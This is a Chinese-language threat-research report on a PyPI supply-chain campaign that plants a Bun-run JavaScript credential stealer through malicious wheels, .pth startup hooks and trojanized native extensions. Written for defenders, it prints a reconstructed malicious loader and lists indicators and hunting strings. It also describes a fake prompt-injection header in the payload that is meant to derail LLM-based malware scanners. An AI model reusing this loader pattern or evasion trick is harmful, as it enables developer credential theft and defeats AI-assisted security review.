针对生物信息学和 MCP 开发者的 Mini Shai-Hulud、Miasma 和 Hades 蠕虫:经由恶意 PyPI Wheels 发动攻击
新版恶意包利用原生扩展和 .pth 加载器在开发者环境中执行 JavaScript 窃密程序。
Socket 威胁研究团队发现了一个与更广泛的 Mini Shai-Hulud、Miasma 和 Hades 供应链攻击相关的新一波 PyPI 攻击活动。这次攻击范围已超出我们周末报告中涵盖的 37 个恶意 PyPI wheels,表明威胁行为者正在快速迭代其投递机制、软件包主题和运行时触发器。
该攻击活动至今已新增 23 个新识别的 PyPI 软件包版本工件,除周末报告涵盖的 37 个恶意 PyPI wheels 外,还新增了六个生物信息学软件包、一个独立的 AI 和 MCP 主题软件包集群、 typosquat 类型软件包如 rsquests、tlask 和 rlask,以及一个值得注意的是未捆绑预期 _index.js 有效载荷的 langchain-core-mcp 加载器变体。该变体会在 Python 的模块搜索路径 sys.path 中搜索 _index.js,并尝试用 Bun 运行它。
本次攻击活动并未重复相同的软件包妥协模式。周末的 PyPI 攻击波使用了可执行的 .pth 启动钩子,试图定位捆绑的 JavaScript 有效载荷。新增的生物信息学子集群使用了木马化的原生 .abi3.so 扩展,在导入时执行 JavaScript 有效载荷。langchain-core-mcp 变体返回使用 .pth 启动钩子,但改变了有效载荷发现逻辑,通过跨 sys.path 搜索来工作,创造了一种加载器和有效载荷分离的模式,可能逃避将 _index.js 放在同一 wheel 内的检测规则。
有效载荷本身遵循 Hades 模式:通过 Bun 分阶段执行的严重混淆 JavaScript 窃密程序,在 _index.js 顶部放置了一个伪造的提示注入头部来污染 AI 辅助分析。一旦执行,该恶意软件会针对开发者工作站和 CI/CD 环境中的高价值凭据,包括 GitHub、npm、PyPI、RubyGems、JFrog、云凭据、Kubernetes 服务账户材料、SSH 密钥、Docker 配置、shell 历史记录、.env 文件、软件包注册表凭据以及 AI 开发者工具配置。
这 23 个更新的 PyPI 工件已添加到专用的 Mini Shai-Hulud/Miasma 攻击活动跟踪页面。我们的攻击活动追踪器目前包含 471 个受影响的工件,跨越 npm 和 PyPI,其中包括 106 个软件包中的 411 个 npm 工件和 37 个软件包中的 60 个 PyPI 工件。该页面将随着更多受影响的工件被识别而持续更新:https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack
我们在专页面上追踪完整攻击活动,所有受影响的工件在识别后会立即添加:https://socket.dev/supply-chain-attacks/miasma-mini-shai-hulud-supply-chain-attack
一个不断变换形态的攻击活动
Shai-Hulud 和 Miasma 活动的 Hades 分支最好被理解为一个快速移动的供应链攻击活动,而非单一软件包事件。周末的 PyPI 攻击波展示了被入侵的维护者账户如何发布利用 Python 启动行为的恶意 wheels。这些 wheels 包含两个核心组件:一个 *-setup.pth 文件和一个混淆的 _index.js 有效载荷。Python 提供了最初的执行入口,而 Bun 提供了窃密程序的 JavaScript 运行时。
新版攻击波显示威胁行为者正在适应变化。部分软件包使用编译的原生扩展。部分仍使用 .pth 启动钩子。有一个软件包 langchain-core-mcp 似乎通过在 Python 导入路径的其他位置搜索 _index.js 而非直接捆绑的方式,将加载器与有效载荷分离。
新版攻击波将真正研究社区软件包的恶意版本与仿冒包和生态系统诱饵包混合在一起。生物信息学集群,包括 embiggen、ensmallen、gpsea、phenopacket-store-toolkit、ppkt2synergy 和 pyphetools,影响了在图学习、患者表型分析、phenopacket 工具及相关科学工作流中使用真实软件包。其他工件,包括 rsquests、tlask、rlask 和几个 MCP 主题软件包,似乎旨在捕获使用流行 Python、Flask、requests、LangChain、OpenAI、分词器和 MCP 工具的开发者安装。
同一更广泛攻击活动中的三个投递分支
该攻击活动目前至少有三个相关的 PyPI 投递分支。
第一个分支是 .pth 启动钩子模式。恶意 wheel 包含一个 *-setup.pth 文件和一个捆绑的 _index.js。.pth 钩子在 Python 启动期间运行,必要时下载 Bun,然后运行 JavaScript 有效载荷。
第二个分支是新版生物信息学集群中描述的原生扩展导入触发器。在该分支中,Python 源代码可能看起来正常,因为恶意执行路径在编译的 .abi3.so 扩展内部。当 Python 导入软件包并通过 dlopen() 加载扩展时,原生扩展在模块初始化时作为副作用执行 _index.js。这对于仅源代码的 Python 审查来说更难捕获,因为恶意触发器在软件包的 .py 文件中不可见。
第三个分支是 langchain-core-mcp 加载器变体。该 wheel 不包含 _index.js。相反,它的 .pth 钩子搜索 sys.path 中的有效载荷。这使得工件不太自包含,但也使分阶段逻辑更加灵活。期望加载器和有效载荷位于一起的扫描器可能会错过这类软件包。
langchain-core-mcp 变体:搜索他人有效载荷的加载器
在新版 MCP 主题集群中,[email protected] 安装了一个名为 langchain_core-setup.pth 的文件,但 wheel 未附送 _index.js。.pth 文件搜索 sys.path 中的每个条目,首先搜索直接的 _index.js,然后在每个路径条目下方一个目录搜索。
import os as _O
import tempfile as _T
# Run-once marker in the system temp directory.
_marker = _O.path.join(_T.gettempdir(), ".bun_ran")
if not _O.path.exists(_marker):
import os
import subprocess
import urllib.request
import platform
import sys
import shutil
import zipfile
payload = None
# First search each sys.path entry directly for _index.js.
for d in sys.path:
try:
candidate = os.path.join(d, "_index.js")
if os.path.exists(candidate):
payload = candidate
break
except Exception:
pass
# Then search one directory level below each sys.path entry.
if not payload:
for d in sys.path:
try:
for child in os.listdir(d):
candidate = os.path.join(d, child, "_index.js")
if os.path.isdir(os.path.join(d, child)) and os.path.exists(candidate):
payload = candidate
break
if payload:
break
except Exception:
pass
# Download Bun into the temp directory if absent.
# Defanged here to avoid presenting a live command target.
bun_url = "hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip"
# Execute the discovered JavaScript payload with Bun.
subprocess.run([bun_path, "run", payload], check=False)
# Create run-once marker after attempted execution.
open(_marker, "w").close()这与早期 Hades 加载器不同,后者尝试相对于 _index.js 执行上下文定位 .pth。在标准 CPython 中,这可能不可靠,因为 .pth 执行通过 Python 的 site 模块进行,__file__ 可能不指向 .pth 文件本身。langchain-core-mcp 变体通过扫描 sys.path 避免了这个问题。
有三种合理的解释。威胁行为者可能修复了早期加载器的可靠性问题。wheel 可能是失败或不完整的发布,其中 _index.js 被意外遗漏。或者威胁行为者可能正在测试配对软件包分阶段,即一个软件包提供加载器,另一个软件包、项目文件或共同安装的工件提供有效载荷。
无论哪种解释正确,该行为都是恶意的。合法的 Python 软件包不应静默安装启动钩子,将 Bun 下载到临时目录,搜索宽泛的导入路径查找 JavaScript 文件,然后执行它。
Socket AI Scanner 对恶意 [email protected] wheel 的分析突出显示了一个隐藏在 langchain_core-setup.pth 中的隐蔽 Python 启动钩子。该钩子滥用 .pth 执行机制,将 Bun 从 GitHub 引导到临时目录,然后在 Python 的 sys.path 中搜索独立的 _index.js 有效载荷,并尝试用下载的运行时执行它。这种设计将 Python 加载器与 JavaScript 有效载荷分离,允许 wheel 作为分阶段供应链加载器运行,即使 _index.js 未直接捆绑在软件包内。临时运行标记的使用也表明意图减少重复执行,使行为在后续检查时不太明显。
生物信息学子集群:隐藏在原生扩展中的恶意代码
生物信息学软件包展示了不同的执行策略。不使用 .pth 文件作为初始触发器,恶意代码嵌入在编译的原生扩展中。软件包可见的 Python 源代码可能看起来合法,而编译的 .abi3.so 文件在 Python 导入模块时执行 JavaScript 有效载荷。
许多软件包审查管道严重依赖 Python 源代码、setup 脚本、元数据和依赖声明。原生扩展通常受到较少的审查,特别是如果软件包通常附送编译的性能敏感代码。在科学计算、基因组学和机器学习软件包中,原生扩展很常见且经常被预期。
威胁行为者利用这种预期作为掩护。性能导向软件包中的大型 .abi3.so 扩展乍一看可能并不异常。但在这种情况下,该扩展充当导入时 _index.js 的启动器。
LLM 扫描器反分析
_index.js 有效载荷以一个大型 JavaScript 块注释开头,其中包含伪造的系统指令和策略触发内容。因为它在注释内部,不会影响 JavaScript 执行。运行时跳过它。真正的恶意软件在注释之后开始,使用 try{eval(...)} 包装器包装大型字符码数组和 ROT 风格替换函数。
这个头部似乎专为 AI 介导的分析而设计,而非针对 Node、Bun 或 Python。它试图破坏在文件开头部分将内容发送给语言模型而未清楚隔离为不可信数据的扫描器或分析师副驾驶。在弱管道中,这可能导致拒绝行为、提示混淆、上下文污染,或在扫描器到达实际恶意软件之前过早分类。
这不是对抗静态检测的神奇绕过。YARA 规则、熵检查、AST 解析、字符串提取、反混淆和行为规则仍然有效。但对于天真的 LLM 优先分类系统来说,这是一个实用的反分析技巧。
恶意 _index.js 以一个非执行 JavaScript 注释开头,旨在触发 LLM 安全拒绝并破坏 AI 辅助恶意软件分类,然后扫描器才能到达混淆的 Hades 有效载荷。
影响与防御指导
新版软件包重用了我们之前 PyPI 报告中分析过的相同 Hades 有效载荷家族,因此在此不再重复完整的有效载荷分析。简而言之,一旦执行,该恶意软件会针对开发者工作站和 CI/CD 环境中的凭据、软件包注册表令牌、云密钥、SSH 密钥、源代码访问和自动化令牌。在构建和发布环境中风险最高,单个暴露的令牌即可让威胁行为者发布额外的恶意软件包、推送工作流更改或访问生产相邻基础设施。
新版攻击波的变化在于投递机制。早期的 PyPI 软件包使用 .pth 启动钩子来启动捆绑的 _index.js 有效载荷。新版生物信息学软件包使用木马化的原生扩展在导入时触发有效载荷执行。langchain-core-mcp 变体更进一步,安装了一个 .pth 加载器来搜索 sys.path 中的 _index.js,这意味着加载器和有效载荷无需位于同一 wheel 中。
防御者应专注于执行路径和凭据暴露。检查受影响的软件包版本,在卸载前保留取证工件,并轮换可能已暴露的任何令牌。审查 Python 环境中的可执行 .pth 文件、异常的 _index.js 文件、Bun 下载逻辑和新引入的 .abi3.so 扩展。在 CI/CD 环境中,检查运行器是否有异常的 workflow 更改、Docker socket 滥用、中毒的 /etc/hosts 条目、意外的特权容器以及对软件包发布凭据的访问。
有关完整有效载荷分析,包括凭据目标、GitHub dead-drop 行为、Docker 和 SSH 传播、反分析逻辑和狩猎字符串,请参阅我们之前的 Hades PyPI 分析:https://socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave
危害指标
以下 IOC 仅限于新 PyPI 工件和投递特定指标,未涵盖在我们早期 Hades PyPI 分析中。关于原始周末 Hades 软件包列表、有效载荷标记和更广泛的 stealer IOC,请参阅我们之前的报告:https://socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave
恶意 PyPI 工件
[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]
新版加载器和投递指标
langchain_core-setup.pth— 在langchain-core-mcp中观察到的恶意 Python 启动钩子[email protected]#py3-none-any-whl— 受影响的 wheel 工件[email protected]#py3-none-any-whl— 受影响的 wheel 工件os.path.join(d,"_index.js")— 用于搜索sys.path的有效载荷发现逻辑_s.run([_b,"run",_j],check=False)— 对发现的_index.js的 Bun 基础执行Bun/1.3.14— 观察到的langchain-core-mcp的 PyPI 上传 User-Agent;本身并非恶意,但在本上下文中值得注意
原生扩展导入时执行指标
ensmallen_haswell.abi3.so— 在新版生物信息学集群中报告的木马化原生扩展ensmallen_core2.abi3.so— 在新版生物信息学集群中报告的木马化原生扩展.abi3.so与_index.js配对 — 需要审查的可疑软件包布局
新分析工件的重要哈希值
langchain_core_mcp-1.4.2-py3-none-any.whl- SHA256:
6d332f814f15f19758d65026bbfd0a8c49671b319ec77b8fa1b27fc48afff7d9
- SHA256:
langchain_core-setup.pth- SHA256:
6506d31707a39949f89534bf9705bcf889f1ecae3dbc6f4ff88d67a8be3d01b2
- SHA256:
额外狩猎字符串和主机指标
thebeautifulmarchoftime— 备用 C2 发现字符串thebeautifulsnadsoftime— 备用 C2 发现字符串/tmp/.sshu-setup.js— SSH 传播文件路径/var/run/docker.sock— 在可访问时被滥用的合法 Docker socketharden-runner— 被恶意软件针对的合法 StepSecurity 防御工具step-security— 被恶意软件针对的合法 StepSecurity 标识符stepsecurity— 被恶意软件针对的合法 StepSecurity 标识符agent.stepsecurity.io— 被恶意软件据报阻止的合法 StepSecurity 遥测域api.stepsecurity.io— 被恶意软件据报阻止的合法 StepSecurity API 域app.stepsecurity.io— 被恶意软件据报阻止的合法 Step Security 应用程序域